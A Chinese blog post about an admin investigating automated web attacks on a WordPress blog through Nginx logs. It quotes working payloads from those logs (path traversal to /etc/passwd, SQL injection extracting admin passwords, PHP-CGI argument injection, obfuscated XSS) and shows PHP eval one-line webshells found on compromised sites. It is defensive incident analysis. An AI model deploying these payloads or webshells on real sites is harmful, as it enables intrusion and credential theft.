提醒:本页面将不再更新、维护或者支持,文章、评论所叙述内容存在时效性,涉及技术细节或者软件使用方面不保证能够完全有效可操作,请谨慎参考!

就在刚才收到了WordPress的Login Lock报警邮件,IP地址为118.192.35.178尝试登录博客后台失败多次,并且IP地址已经被阻止,所尝试的用户名为88888\'。

顿觉奇怪,心想不会谁无聊蛋疼到想去通过程序漏洞尝试黑WP吧,至少WP有这么多朋友使用,加上官方强有力的支持,安全性还是有保障的。于是尝试搜索这个IP地址,果然被我找到了一些痕迹,主要是一些留言和评论板,基本上都是用户名为88888内容为空,或者用户名和内容都是88888。到这里,我心里稍稍有了点底,至少可以判断是自动化程序自动攻击的,然后看到那么多网站的帖子都有88888的痕迹,再推断是不是自动发贴机在作怪,就像WP里屡禁不止的垃圾评论一样,但是想想奇怪的是我垃圾评论里没有收到该IP类似的帖子,看来不仅仅是这么简单。

登录服务器,使用下面的命令导出和该IP相关的Nginx访问日志。

cd /var/log/nginx
cat *.log | grep 118.192.35.178 > /tmp/attack.log
cd /tmp
more attack.log

看来内容有不少,文件size大概为11KB左右,仔细审查内容,发现从2012/05/06 18:06:57登录首页并尝试获取robots.txt开始,到2012/05/06 19:18:39日志结束,该IP客户端尝试了各种各样的攻击手段,包括寻找已知后门到SQL注入攻击再到最近比较热闹的PHP CGI执行参数的漏洞,甚至还有自动寻找指定CMS程序漏洞,WordPress插件漏洞的功能。可谓是包罗万象,市面上有的WEB攻击基本上都全了,当然从时间分布来看是全自动执行的,不得不佩服制作这个攻击程序的大牛。

下面摘抄日志中发现的几段比较经典的攻击方式:

request: "GET /blog/about/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.0"
referrer: "' AND (SELECT 1698 FROM(SELECT COUNT(*),CONCAT(CHAR(58,119,115,51,58),(SELECT MID((IFNULL(CAST(schema_name AS CHAR),CHAR(32))),1,50) FROM information_schema.SCHEMATA LIMIT 0,1),CHAR(58,119,115,51,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a"
request: "GET /blog/about/member/ajax_membergroup.php?action=post&membergroup=@%60'%60%20Union%20select%20concat(0x3336307765627363616e,pwd,0x7c)%20from%20%60%23@__admin%60%20where%201%20or%20id=@%60'%60 HTTP/1.0"
request: "GET /blog/about/index.php?-dauto_prepend_file%3d/etc/passwd+-n HTTP/1.0"
request: "GET /blog/about/dede/login.php?gotopage=%22%3E%3Cscript%3Eeval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))%3C/script%3E%3Cx=%22 HTTP/1.0"

经典的还有很多,限于篇幅我就不一一介绍了。

好了,检查了下服务器,发现没有什么损失,再更新升级了一下,应该没有什么问题了。大家要及时关注最近安全公告有条件的要及时升级服务器哦,最近安全攻击事件还是有不少的,几天前论坛有网友指出其PHP页面被插入形如下面的可疑代码:

<?php $a=$_POST[f];echo eval($a);echo "^^"; ?>
 
<title>login</title>nono<?php
 
eval
 ($_POST
 [1])
 
?>

其实这已经是非常经典的PHP小马了,其中eval可以执行任何被POST的数据,包括黑客自定义的PHP代码,有点类似于ASP的一句话木马EXECUTE(REQUEST("c"))。

另外提供一个简单查找24小时内被修改过的PHP文件命令,用于检查PHP文件是否被注入后门恶意代码,其中./表示要搜索的目录,这里是当前目录,-mtime后面的0表示24小时内修改过的时间单位,英文解释为-mtime n: Files data was last modified n*24 hours ago,如果要返回前48~24小时修改过的文件,而不是48小时以内修改过的文件,直接使用-mtime 1作为参数即可。

find ./ -mtime 0 | grep '\.php$'

搜索出的结果仅供参考,请谨慎判断。